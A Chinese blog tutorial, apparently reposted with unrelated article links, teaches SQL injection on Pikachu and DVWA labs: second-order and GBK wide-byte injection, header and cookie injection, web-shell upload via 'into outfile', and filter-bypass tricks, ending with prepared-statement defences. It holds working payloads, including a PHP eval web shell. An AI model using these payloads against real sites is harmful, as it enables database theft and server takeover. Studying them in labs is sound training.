【网络安全的神秘世界】SQL注入(下)

在这里插入图片描述

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

3.7 二次注入

不好挖这个漏洞,需要搞懂业务逻辑关系

二次注入通常是指在存入数据库时做了过滤,但是取出来的时候没有做过滤,而产生的数据库注入

1️⃣插入恶意数据

在第一次向数据库插入数据库时,网站本身使用addslashes()对其中的特殊字符进行转义,但是addslashes()有一个特点就是虽然参数在过滤后会添加“\"进行转义,但是”\"并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据

在MySQL中,\属于转义字符,当我们insert插入\字符时,\在数据库中最终只会存储为空值“ ”

在这里插入图片描述

2️⃣引用恶意数据

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了了脏数据,没有进一步的校验和处理,这样就会造成SQL的二次注入

在这里插入图片描述

3.8 宽字节注入

安装pikachu环境

docker pull area39/pikachu
docker run -d -p 8000:80 area39/pikachu

借助 Docker 轻松搭建 Pikachu 靶场教程

宽字节概念

  • 如果一个字符的大小是一个字节的,称为窄字节;

  • 如果一个字符的大小是两个及以上字节的,称为宽字节;

  • 像GB2312、GBK、GB18030、BIG5、Shift_jis等编码都是常见的宽字节字符集

  • 英文默认占一个字节,中文占两个字节

宽字节注入原理

宽字节注入利用MySQL的一个特性:使用GBK编码的时候,会认为两个字符是一个汉字

进入pikachu靶场的后端查看mysql数据库中使用的什么编码

docker exec -it pikachu_id bash

在这里插入图片描述

show variables like '%character%'

在这里插入图片描述

发现数据库用的latin1编码方式,但是上面说了用gbk编码才有宽字节注入场景

而pikachu靶场又存在宽字节注入,那是因为网站代码手动设置了mysql编码为gbk

在这里插入图片描述


判断输入点是字符型,构造字符型注入语句

在这里插入图片描述

发现注入失败,但是去数据库里能查出来,这说明网站做了过滤

在这里插入图片描述

为了防止网站被SQL注入,网站开发人员会做一些防护措施,其中最常见的就是对一些特殊字符进行转义

通过前面的学习可以了解到,SQL注入非常关键的一步就是让引号闭合和跳出引号,无法跳出引号,那么输入的内容就永远在引号里,即永远是字符串,无法实现SOL注入

网站开发者也想到了这一步,于是做个防护措施:转义,对输入的敏感内容、特殊字符进行转义

addslashes()函数

  • addslashes() 会在预定义字符之前添加反斜线 \进行转义
  • 预定义字符:单引号',双引号",反斜线\,NULL

【转义】:预定义字符在加上反斜线之后,就已经不具备其原有的语法功能了,就仅仅是一个普通的字符串了

绕过addslashes()函数

通过前面的SQL注入实验可以发现,字符型的注入点我们都是用单引号来判断的,但是当遇到 addslashes() 函数时,单引号会被转义,导致我们用来判断注入点的单引号失效。所以我们的目的就是使转义符\ 失效、使单引号逃逸

✨绕过原理:

# 前端输入
kobe%df' or 1=1# # 后端通过addslashes()添加转义字符\,编码后变成%5C
kobe%df\' or 1=1# 
kobe%df%5c%27 or 1=1# # 因为数据库使用gbk编码(2个字节会被编码为1个汉字),那么%df%5c= 運
kobe運' or 1=1#

✨绕过步骤:

1️⃣输入 kobe%df' and 1=1# 后发现还是失败

在这里插入图片描述

抓包发现那是因为网站前端对%做了url编码变成%25

在这里插入图片描述

2️⃣抓包直接在bp中修改,就不会经过url编码了

在这里插入图片描述

掌握这个原理后,%df也可以替换成其他2位16进制数;不同的编码方式有不同的绕过方法

3.9 http header和cookie注入

HTTP头注入其实并不是一个新的SQL注入类型,而是指出现SQL注入漏洞的不同场景下该怎么使用

当攻击者能够控制这些 HTTP 头部字段的值,并且应用程序没有正确地转义或过滤这些输入时,他们可能会插入恶意的 SQL 代码片段,从而可能导致数据泄露、数据篡改、甚至完全控制数据库

进入pikachu的http header来进行一下测试:

抓包将它发送到【Repeater】模块,将User-Agent的值删掉,自己构造一个单引号:

在这里插入图片描述

出现了语法错误,意味着输入的内容会到数据库中进行查询,接下来的步骤就很简单了,跟前面的报错注入是一样的

'or updatexml(1,concat(0x7e,database()),0) or'

cookie注入就是把注入语句通过抓包放进cookie里面,跟上面的步骤一样,这里不再赘述了

四、从MySQL注入到GetShell

mysql支持向外写文件(这里的“外”是指服务器内部,除mysql),需要用到select into outfile命令

select into outfile的作用:将被选择的一行代码写入一个文件中,文件被创建到服务器上

select into outfile的使用前提是:

  • 要知道网站的绝对路径,可以通过开源程序、报错信息、phpinfo界面、404界面等方式知道
  • 对目录要有写权限,一般image之类的存放图片的目录有写权限
  • 要有mysql file权限(即能够对系统的文件读写操作),默认情况下只有root权限有

还要注意:写的文件名一定是在网站中不存在的,不然会失败

我们使用into outfile写入一句话木马,文件名为shell2.php:

1' union select 1,"<?php eval($_POST['a']);?>" into outfile ' /var/www/html/shell2.php
  • eval():允许执行任何传递给它的 PHP 代码字符串
  • $_POST[‘a’]:a是攻击者定义的关键字,用来接收攻击者输入的内容
  • /var/www/html:网站的根目录,底层是Linux系统的话,文件通常放在这

1️⃣在DVWA Low等级的SQL Injection中输入

在这里插入图片描述

2️⃣访问http://ip:port/shell2.php,打开hackerbar插件,勾选Post data,给a传递参数后点击【Execute】执行

在这里插入图片描述

pwd属于操作系统命令,不能直接传递给php,要按照规定的格式写

在这里插入图片描述

使用get方法,直接在url构造

1' union select 1,"<?php eval($_GET['a']);?>" into outfile ' /var/www/html/shell2.php

在这里插入图片描述

在这里插入图片描述

3️⃣打开蚁剑,密码为a(蚁剑出于安全考虑,只能连接post方法)

在这里插入图片描述

五、SQL注入绕过

5.1 大小写绕过

适用于设置了黑名单的情况下,可以任意的把某些字改为大小写

举例:seLeCT、SelEcT

5.2 替换关键字

大小写转换无法绕过,而且正则表达式会替换或删除select、union等关键字可以尝试双写:

举例:SELselectECT、SeLSeselectleCTect

5.3 使用编码

在浏览器输入一个链接,浏览器会对特殊字符进行url编码,可以通过编码的方式进行绕过

空格%20、单引号%27、左括号%28、右括号%29

1️⃣url编码

1%2527id=1%252f%252a*/UNION%252f%252a%252a/SELECT

2️⃣16进制编码

mysql>select * from users where user_id=1 and (extractvalue(1,concat(0x7e,(select password from users where first_name=0x61646d696e),0x7e)));

5.4 使用注释

比如输入select 1被网站拦截,可以尝试select/**/1进行注释绕过

1️⃣普通注释

看一下常见的用于注释的符号有哪些:

-- ,/**/,#,-- -,

2️⃣内联注释

不具备注释语义的注释符:仍然能执行出结果

相比普通注释,内联注释使用的更多,它有一个特性/* ! */只有MySQL能识别

/*!SELECT*/1/*!union*//*!all*//*!select*/2;

5.5 等价函数与命令替换

1、函数

bin()	#二进制
hex()   #十六进制
bin()、hex() ==> ascii()sleep() ==> benchmark()
benchmark(count,expr)
benchmark会重复计算expr表达式count次,通过这种方式就可以评估出mysql执行这个expr表达式的效率concat_ws() ==> concat()
concat_wa("分隔符",字段1,字段2....)  #多个列的字段合并并添加分隔符mid()、substr() ==> substring() #字符串的截取strcmp(str1,str2) 
#比较两个字符串,如果两个字符串相等就返回0,如果第二个字符小于第一个字符就返回1,反之返回-1
strcmp(left('password',1),0x70) = 0
strcmp(left('password',1),0x69) = 1
strcmp(left('password',1),0x71) = -1

2、符号

当and和or不能用时,可以用&& 和 || 替换

=不能使用时,可以考虑<、>

空格,可以使用如下符号表示:%20 %09 % 0a %0b %0c %0d %a0 /**/

5.6 特殊符号

1、反引号`(tab键上方):可以过滤空格和正则,特殊情况下还可以当注释

select id from`users`;

2、-+:过滤空格和关键字

select+user_id-1+1.from users;

3、@符号:@表示用户定义,@@表示系统变量

select@^1,from users;

4、部分可能发挥作用的符号:`、~、!、@、%、()、[]、.、-、+、|、%00

六、SQL注入防御

--------------sql注入的危害这么大,为什么不对数据库进行修改?

mysql的作用只是存储和查询数据,而注入是代码层面出现的问题,所以不需要对数据库进行修复

6.1 预编译和绑定变量

预编译:提前构造好语句,只能提交指定类型的值

String sql="select id,num from user where id=?"  //定义sql语句PreparedStatement ps=conn.prepareStatemnt(sql)ps.setInt(1,id);  //设置变量ps.executeQuery();  //执行

那么后面输入的内容只会被当作字符串来执行,关键字不能发挥语义

6.2 严格检查参数的数据类型,使用安全函数

并不是所有场景都能采用sql语句预编译,也可以对输入的内容进行严格检测,根据业务特征做好过滤

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/865755.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解码AWS EC2:塑造云服务器新标杆的五大核心优势

在云计算领域&#xff0c;亚马逊弹性计算云&#xff08;Amazon Elastic Compute Cloud, 简称EC2&#xff09;作为AWS的明星服务&#xff0c;凭借其卓越的性能、灵活性和广泛的生态系统&#xff0c;已经成为企业构建云上基础设施的首选。EC2不仅仅是一个简单的云服务器租用服务&…

“2024软博会” 为软件企业提供集展示、交流、合作一站式平台

随着全球科技浪潮的涌动&#xff0c;软件行业正迎来前所未有的发展机遇&#xff0c;成为了全球新一轮竞争的“制高点”&#xff0c;以及未来经济发展的“增长点”。在当前互联网、大数据、云计算、人工智能、区块链等技术加速创新的背景下&#xff0c;数字经济已经渗透到经济社…

工控软件开发框架,GTK和QT好难选,快来拯救开发者。

工控软件开发框架如何选&#xff0c;有人喜欢GTK&#xff0c;有人钟意QT&#xff0c;而且每个人都有自己的一番道理&#xff0c;好像说的还都有理&#xff0c;这种情况该怎么办呢?大千UI工场带着你深入了解下。 一、GTK是什么 GTK&#xff08;GIMP Toolkit&#xff09;是一个…

【JavaWeb】利用IntelliJ IDEA 2024.1.4 +Tomcat10 搭建Java Web项目开发环境(图文超详细)

1、启动IntelliJ idea 2024.1.4 在欢迎页面&#xff0c;请确认好版本。因为不同的版本&#xff0c;搭建项目过程不太一样。 点击&#xff0c;新建项目。如图&#xff1a; 2、新建项目 在新建项目界面&#xff0c;选择java&#xff0c;在右侧信息模块内&#xff0c;根据个人情…

帮公司搭了个Nuxt3项目框架

theme: smartblue 最近公司立项了一个新项目&#xff0c;因为是to C 的&#xff0c;所以对SEO是有较高需求的&#xff0c;由于公司前端技术栈统一用的VUE&#xff0c;顺理成章的就选择了nuxt这个全栈框架。项目立项之后我就被安排了负责前端项目框架的搭建&#xff0c;从搭建过…

高校教师教学质量评估系统-计算机毕业设计源码03344

摘要 在高等教育中&#xff0c;教学质量是培养优秀人才的关键。为了提高教学质量&#xff0c;高校需要建立一套科学、有效的教师教学质量评估系统。本研究采用 SSM技术框架&#xff0c;旨在开发一款高校教师教学质量评估系统。 SSM框架作为一种成熟的Java开发框架&#xff0c;具…

网安小贴士(6)TCP/IP分层

一、前言 1983年&#xff0c;美国国防部决定将TCP/IP作为所有计算机网络的标准协议&#xff0c;这标志着TCP/IP正式成为互联网的基础协议。随着个人计算机的普及和网络技术的发展&#xff0c;TCP/IP模型被广泛应用于各种网络环境中&#xff0c;包括局域网&#xff08;LAN&#…

【图说中国】大江大河你知道哪些?

【图说中国】大江大河你知道哪些&#xff1f; 中国河流 中国是世界上河流最多国家之一&#xff0c;其中流域面积超过1000平方米河流就有1500多条。 主要有长江、黄河、黑龙江、珠江、淮河、海河、辽河、雅鲁藏布江、塔里木河、澜沧江、怒江、闽江、钱塘江、韩江、鸭绿江、图…

Pandas函数详解:案例解析(第25天)

系列文章目录 Pandas函数详解排序函数聚合函数缺失值处理日期函数 文章目录 系列文章目录前言1 索引和列名操作1.1 查看索引和列名1.2 修改索引和列名 2 常用计算函数2.1 排序函数2.2 聚合函数2.3 练习 3 缺失值处理3.1 缺失值概念3.2 加载包含缺失值数据3.3 查看缺失值3.4 缺失…

十五、【源码】给代理对象设置属性

源码地址&#xff1a;https://github.com/spring-projects/spring-framework 仓库地址&#xff1a;https://gitcode.net/qq_42665745/spring/-/tree/15-proxy-set-property 给代理对象设置属性 之前的代码是创建Bean进行判断&#xff0c;要不要进行代理&#xff0c;如果代理…

物联网应用Fast ingest

一、原文路径 Tuning the System Global Area 二、翻译 1、原理 Fast ingest 优化是针对高并发&#xff0c;单行数据的插入这种场景的。比如IOT应用采集&#xff08;很符合国网的用采数据场景&#xff09;。 Fast ingest 使用MEMOPTIMIZE_WRITE 提示来插入数据到 MEMOPTIM…

LVM负载均衡群集

一.群集基础概述 1.群集的类型 &#xff08;1&#xff09;负载均衡的群集&#xff1a;以提高应用系统的响应能力&#xff0c;尽可能处理更多的访问请求&#xff0c;减少延迟为目标&#xff0c;获得高并发的、高负载的整体性能。例如&#xff1a;“DNS轮询”&#xff0c;“应用…

.net 快速开发框架开源

DF.OpenAPI开源系统 前后端分离&#xff0c;开箱即用&#xff0c;java经典功能.net也具备 系统介绍 DF.OpenAPI是基于Admin.NET二开的&#xff0c;是一个开源的多租户后台管理系统。采用前后端分离技术&#xff08;前端使用vue.js&#xff0c;后端使用.net 3~.net6&#xff…

SyntaxError: invalid character in identifier 解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

鸿翼全链智能知识管理,打造大模型时代的企业知识管理新范式

在知识经济的浪潮中&#xff0c;知识已成为企业构筑竞争优势的基石。随着大模型转向应用落地&#xff0c;其强大的语义理解、推理、逻辑、记忆等能力&#xff0c;推动企业知识管理迈向一个“智能涌现”的新时代。 鸿翼大模型KM知识管理系统&#xff0c;植根于非结构化数据治理全…

Mac安装nvm,node

新的Mac安装nvm&#xff0c;最简单的是先安装nvm&#xff0c;再安装node&#xff0c;官网示例代码也是这么整的&#xff0c;如果已经安装了node&#xff0c;不要慌 多几步终端操作可以“没有如果”。分两种情况&#xff1a;1&#xff0c;还没安装node&#xff0c;直接装nvm&…

【C++】初步认识C++

1. 初识C1.1 C概念相关1.2 C发展史及其重要性1.2.1 发展史1.2.2 重要性 2. C关键字3. 命名空间4. 输入和输出 个人主页&#xff1a;C_GUIQU 归属专栏&#xff1a;【C学习】 1. 初识C 1.1 C概念相关 C语言是结构化和模块化的语言&#xff0c;适合处理较小规模的程序。 【来源】…

ctfshow-web入门-命令执行(web118详解)Linux 内置变量与Bash切片

输入数字和小写字母&#xff0c;回显 evil input 查看源码&#xff0c;发现这里会将提交的参数 code 传给 system 函数 使用 burpsuite 抓包进行单个字符的模糊测试 fuzz&#xff1a; 发现过滤掉了数字和小写字母以及一些符号&#xff0c;下面框起来的部分是可用的 结合题目提…

【C++】开源:命令行解析库CLI11配置与使用

&#x1f60f;★,:.☆(&#xffe3;▽&#xffe3;)/$:.★ &#x1f60f; 这篇文章主要介绍命令行解析库CLI11配置与使用。 无专精则不能成&#xff0c;无涉猎则不能通。——梁启超 欢迎来到我的博客&#xff0c;一起学习&#xff0c;共同进步。 喜欢的朋友可以关注一下&#x…

ETCD概述--使用/特性/架构/原理

ETCD概述 ETCD是一个高度一致的分布式键值存储, 它提供了一种可靠的方式来存储需要由分布式系统或机器集群访问的数据(高可用, 强一致性)​全局的配置服务中心. 本文将介绍其特性、相关操作和常见的应用场景. 如果想了解更多, 请查阅我的技术博客: https://dingyuqi.com 特性 …